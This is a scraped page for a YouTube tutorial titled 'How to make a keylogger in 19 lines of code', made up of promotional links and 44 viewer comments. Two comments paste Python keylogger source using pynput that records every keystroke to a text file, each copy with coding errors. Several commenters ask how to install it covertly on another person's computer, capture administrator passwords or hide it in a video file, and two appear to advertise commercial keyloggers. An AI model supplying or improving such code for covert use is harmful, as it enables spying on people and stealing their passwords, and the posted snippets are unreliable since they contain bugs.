HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE – PYTHON TUTORIAL

///HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE – PYTHON TUTORIAL

HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE – PYTHON TUTORIAL

FavoriteLoadingAdd to favorites

๐Ÿ—“๏ธ 1:1 Consultation Session With Me –
๐Ÿ”ฅ Land the job! Get help with a resume and cover letter
๐Ÿ“šMy Courses:

๐Ÿ’ป Learn Code FREE for 2 months:
Treehouse Discount: | IT Certifications:
Want to work at Google? Cheat Sheet:

Channel Memberships are here! โค๏ธ

Code Bootcamps I’ve worked with: ๐Ÿซ
Lambda School: FREE until you get a job:

My Gear โš™๏ธ:

Social Media ๐Ÿคณ
๐Ÿ“ธ
๐Ÿฆ

Support the channel! โค๏ธ

Donations: paypal.me/joshuafluke

Merch is here! ๐Ÿ‘•

Discord ๐Ÿ‘Š
Website ๐Ÿ“ก
Email me! ๐Ÿ“ง grindreel@gmail.com

All my music ๐ŸŽต –

source

By |2020-01-23T01:21:11+00:00January 23rd, 2020|Python Video Tutorials|44 Comments

44 Comments

  1. Esizl January 23, 2020 at 1:21 am - Reply

    for me it only logs the keys when visual studio is open even if i run it through the file way i need some help

  2. INSANEUSERNAME , January 23, 2020 at 1:21 am - Reply

    epic hacker intro

  3. Jack Wild January 23, 2020 at 1:21 am - Reply

    What is that ide?

  4. Epicmicrowave January 23, 2020 at 1:21 am - Reply

    When I right click it does nothing

  5. Timothy Sturdevant January 23, 2020 at 1:21 am - Reply

    You didn't put it in the description omg

  6. Lux Ferre January 23, 2020 at 1:21 am - Reply

    Any tips on how to spot a keylogger running in the background and if you do manage to spot one,how do you deal with it? Thanks in advance!

  7. ThunderstruckYT January 23, 2020 at 1:21 am - Reply

    How did u animate walllpaper?

  8. Mesharie Aleeman January 23, 2020 at 1:21 am - Reply

    So sad that python will end in 2020 ๐Ÿ˜”

  9. viri-deze January 23, 2020 at 1:21 am - Reply

    can someone pls drop the file in comment

  10. SabotageLuke January 23, 2020 at 1:21 am - Reply

    im pretty sure this is the final code

    from pynput.keyboard import Key, Listener

    import logging

    #if no name it gets put into an empty string

    log_dir = ""

    #This is a basic logging function

    logging.basicConfg(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s

    #this is from the library

    def on_press(key):

    logging.info(str(key))

    #if key == Key.esc:

    # Stop listener

    #return false

    #this says, listener is on

    with Listener(on_press=on_press) as listener:

    listener.join()

    lmk if any mistakes

  11. Jonny Bjรถrnhager January 23, 2020 at 1:21 am - Reply

    You didn't put the github link in the description.

  12. bugz Bunny January 23, 2020 at 1:21 am - Reply

    It's not working when I run something as an administrator. Does someone help me with this? Basically, I want to save administrator password :D. And it doesn't Record Administrator Password Fields.

  13. LightninBolty January 23, 2020 at 1:21 am - Reply

    how do if fix the import pynput, it just comes up with the error
    >>> import pynput
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    ModuleNotFoundError: No module named 'pynput'

  14. Youngboy Never Broke Again January 23, 2020 at 1:21 am - Reply

    who knows how to make a xbox botting tool

  15. DailyTrends January 23, 2020 at 1:21 am - Reply

    if somehow i got this on someones pc would it send a log to mine??

  16. Xealz January 23, 2020 at 1:21 am - Reply

    how do i start learning python?

  17. Joe January 23, 2020 at 1:21 am - Reply

    possibly stupid question but can this same method be used with mac osx or is the code different? Also I'm assuming the logged computer has to have python, correct?

  18. Mortals AMV's January 23, 2020 at 1:21 am - Reply

    can i just use IDLE

  19. swoofti January 23, 2020 at 1:21 am - Reply

    I just started getting into coding and have done a few courses of html and CSS. How much of this video should I understand? I say Iโ€™m currently at about 1%. The 1% being I know Iโ€™m looking at coding.

  20. Alex Sam January 23, 2020 at 1:21 am - Reply

    i recommand Best Free Keylogger. its so funny. ๐Ÿ˜€

  21. Syman Sira January 23, 2020 at 1:21 am - Reply

    it's very hard make a this kind app. instead of creating this I prefer to use professional keylogger such as bestxsoftware keylogger

  22. is it possible to attach a keylogger to a video file?

  23. Will Archer January 23, 2020 at 1:21 am - Reply

    dose it work on IDLE??

  24. Kaiser January 23, 2020 at 1:21 am - Reply

    so how would i send it to someone wouldnt they need python installed aswell and it couldnt be hidden in another program or anything

  25. Papyrus January 23, 2020 at 1:21 am - Reply

    Why exactly do we need the Listener for?

  26. samin January 23, 2020 at 1:21 am - Reply

    ๐Ÿคฃ๐Ÿคฃ๐Ÿ˜‚๐Ÿ˜‚

  27. Zer0cool NINJA88 January 23, 2020 at 1:21 am - Reply

    U got ur self a subscriber ๐Ÿ™๐Ÿ™๐Ÿ™ thanks for all the great content.

  28. Hampus Ekedahl January 23, 2020 at 1:21 am - Reply

    Awesome tutorial, could anyone help me with what statment needed for it to print each letter on the same line as a regular text document. I hope someone understand what i mean sure its really simple but i tried to print it as a string with loop but dident work.

  29. Astroo January 23, 2020 at 1:21 am - Reply

    took me 3 hours to understand and then i get a syntax error on line 8 that underlines with in "with listener(on).." probably not gonna get a response but help ;-; (HERES what my script looks like) (link shows screenshot) https://gyazo.com/78da35988f553ea6dd46a59485768c6f

  30. CS GO CHAMPIONS January 23, 2020 at 1:21 am - Reply

    Nice video, but a doubt, how do I send the information collected by the keylogger to a simple txt file?

  31. 0x00000f4 January 23, 2020 at 1:21 am - Reply

    Does anyone know if the key logger output file destination can be changed from he original key logger folder?

  32. cheat420 btw January 23, 2020 at 1:21 am - Reply

    Jo can you help me, me and my Friend tried to keylog us but we only see what we are writing yk what i mean

  33. Virtual Dreamer January 23, 2020 at 1:21 am - Reply

    why all youtube tutorials about keylogging don't talk about special characters and keys?

  34. Danny Buining January 23, 2020 at 1:21 am - Reply

    i got a error when i typ in import pynput

  35. ใƒ„Solo January 23, 2020 at 1:21 am - Reply

    what happens when he says there was a typo he fixed cause i just got lost

  36. Navid Jalali January 23, 2020 at 1:21 am - Reply

    you had to write python setup.py install. Or just use pip in an environment.

  37. zach Garlett January 23, 2020 at 1:21 am - Reply

    I changes messages to message and still have an empty txt file

    from pynput.keyboard import Key, Listener

    import logging

    log_dir = ""

    logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s:%(message)s:')

    def on_press(self,key):
    logging.info(str(key))

    with Listener(on_press=on_press) as listener:
    listener.join()

  38. J Oppuer January 23, 2020 at 1:21 am - Reply

    should i create a new file for key_log.txt OR the script will create it ?

  39. HewFreBie January 23, 2020 at 1:21 am - Reply

    What is the difference between py and pyw, I know they both files but what can pyw files can be used for specifically?

  40. Jonah Hex January 23, 2020 at 1:21 am - Reply

    wooooo it works !!!! thanks!!

  41. Abdullah Siddiqui January 23, 2020 at 1:21 am - Reply

    does anybody have the code on github

  42. AgentGokuBlack January 23, 2020 at 1:21 am - Reply

    Iโ€™m gonna ask a dumb question but can you send this piece of code to another computer and will it work?

  43. User Killer January 23, 2020 at 1:21 am - Reply

    Um… will almost but you don't really need to download anything big but /:ONLY DOWNLOAD NOTEPAD++:

  44. Alexander Gustafson January 23, 2020 at 1:21 am - Reply

    It's not a single place ๐Ÿ˜‚

Leave A Comment

*